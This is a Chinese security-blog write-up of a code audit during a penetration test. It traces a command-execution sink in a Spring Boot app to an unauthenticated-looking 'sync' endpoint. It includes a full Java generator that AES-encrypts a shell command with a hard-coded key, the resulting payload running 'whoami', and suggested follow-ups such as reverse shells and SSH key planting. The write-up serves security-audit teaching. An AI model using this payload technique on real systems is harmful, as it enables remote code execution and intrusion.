记一次实战快速的代码审计
2023-11-29 15:49:38 Author: xz.aliyun.com(查看原文) 阅读量:9 收藏

最近的一次渗透项目中,获取到某系统的源码和系统管理员登录密码

代码执行 1

通过项目结构,发现用的技术还是比较新的,整体架构是springboot+mybatis,fastjson等版本也是比较新,因为涉及到了公式计算、数据分析,所以还用到了Scala,个人对Scala语言只是简单的使用过,暂时略过

根据审OA漏洞的经验,猜测公式计算可能存在漏洞,找到对应的接口,这里有个FlowScriptCompiler.getClass�(className�),通过上下代码,发现还是挺麻烦的,首先需要先上传脚本规则文件,然后进行编译,最后再execute执行

这里尝试新增规则脚本,虽然后台返回成功信息,但是最后execute失败了,需要真实环境调试看看吧,暂时先不看这个点

代码执行 2

通过全局搜索污点函数,发现存在ProcessBuilder命令执行的点�,这里可以执行命令,然后将结果使用convertStreamToStr方法�返回,可能可以造成回显RCE


往前搜索execute�方法,发现有三处地方使用到了

第一处:先看这个/src/main/java/com/xxrule/flowrule/arch/EnvChecker.java#_check,这里的方法,codeStr不可控

第二处:/src/main/java/com/xxrule/flowrule/utils/ProcessUtil.java#main,测试方法,同样不可控�

剩下就只有/src/main/java/com/xxrule/data/service/impl/DepotSynchroServiceImpl.java

sync方法�接受一个DepotSynchroDto对象,然后使用DataStrUtil.deCryptAndDecode��(代码在下图)解密data数据,解密首先会使用base64进行解码,然后使用AES再解一次得到data对象

data对象用fastjson转成JSONObject的对象,然后判断�JSONObject是否存在sh的key,如果存在,继续解析sh对象下面的shells数组,最后使用�ProcessUtil.execute(sh, charset);�执行shell

deCryptAndDecode方法代码

实现类基本分析完了,我们继续搜索调用sync方法,发现有两处controller接口使用到这个方法

第一处:/src/main/java/com/xxxrule/data/controller/DepotSynchroContorller.java#sync

第二处:/src/main/java/com/xxxrule/flowrule/controller/RuleSceneController.java#params

这两个地方都可以RCE,相对来说,sync接口没有那么多的条件判断,可以直接构造请求对象,写一个代码生成payload

import org.apache.commons.codec.binary.Base64;

import javax.crypto.Cipher;
import javax.crypto.KeyGenerator;
import javax.crypto.SecretKey;
import java.security.SecureRandom;

public class Test {
    public static void main(String[] args) throws Exception {


        //生成shell执行命令加密数据
        byte[] sourceBytes = enCryptAndEncode("{\n" +
                "  \"sh\": {\n" +
                "    \"shells\": [\n" +
                "      \"bash\",\n" +
                "      \"-c\",\n" +
                "      \"whoami \"\n" +
                "    ]\n" +
                "  },\n" +
                "  \"charset\": \"utf-8\"\n" +
                "}");
        System.out.println(Base64.encodeBase64String(sourceBytes));


        //解密数据包
        System.out.println((deCryptAndDecode("")));

    }

    /**
     * AES加密
     *
     * @param content
     * @return
     * @throws Exception
     */
    public static byte[] enCryptAndEncode(String content) throws Exception {
        String strKey = "mysecuritykey";
        KeyGenerator keyGenerator = KeyGenerator.getInstance("AES");
        SecureRandom random = SecureRandom.getInstance("SHA1PRNG");
        random.setSeed(strKey.getBytes());
        keyGenerator.init(128, random);

        SecretKey desKey = keyGenerator.generateKey();
        Cipher cipher = Cipher.getInstance("AES");
        cipher.init(Cipher.ENCRYPT_MODE, desKey);
        return cipher.doFinal(content.getBytes("UTF-8"));
    }

    public static String deCryptAndDecode(String content) {
        byte[] targetBytes = Base64.decodeBase64(content);
        try {
            return deCryptAndDecode(targetBytes);
        } catch (Exception e) {
            return "";
        }
    }


    /**
     * AES解密
     *
     * @param src
     * @return
     * @throws Exception
     */
    public static String deCryptAndDecode(byte[] src) throws Exception {
        String strKey = "mysecuritykey";
        KeyGenerator keyGenerator = KeyGenerator.getInstance("AES");
        SecureRandom random = SecureRandom.getInstance("SHA1PRNG");
        random.setSeed(strKey.getBytes());
        keyGenerator.init(128, random);

        SecretKey desKey = keyGenerator.generateKey();
        Cipher cipher = Cipher.getInstance("AES");
        cipher.init(Cipher.DECRYPT_MODE, desKey);
        byte[] cByte = cipher.doFinal(src);
        return new String(cByte, "UTF-8");
    }
}

生成执行whomai命令的数据:ZOxX3QMOwuTSJlkTz5LWdF3Yb0ZFvIXFVb/Iqr5Eu9ysyYwlD/DokMU8g09jfQL0KsPIxO3HlF9SiOSTaVyCPsmIq7eJ7YGOTj9kvYnjFz235gn1jBu7WdC5Tb4wtrsNAXTzc1nZZv1xh0sTGlQgcg==

发送对应的数据包,返回的data是lBBVygQE6Te6euV1IGk/5WLTeEY4WW3o7LGCpYlGO8o=

可以通过解密方法进行解密,返回数据是root,因为是SpringBoot项目,后续可以注入内存马、写ssh key、反弹shell等

  1. 在项目时间短、任务重的情况下,代码审计还是得有耐心,不能放过每一个sink点,可以充分利用代码审计自动化工具,提升审计效率
  2. 通过前端界面可以快速熟悉了解系统的功能特性,利用审计经验,可以猜测某些功能点可能存在漏洞
  3. 一些行业会有到数据分析的业务需求,往往会使用Spark框架�、Scala语言、R语言...等进行数据处理,这一块可以尝试学习

文章来源: https://xz.aliyun.com/t/13133
如有侵权请联系:admin#unsafe.sh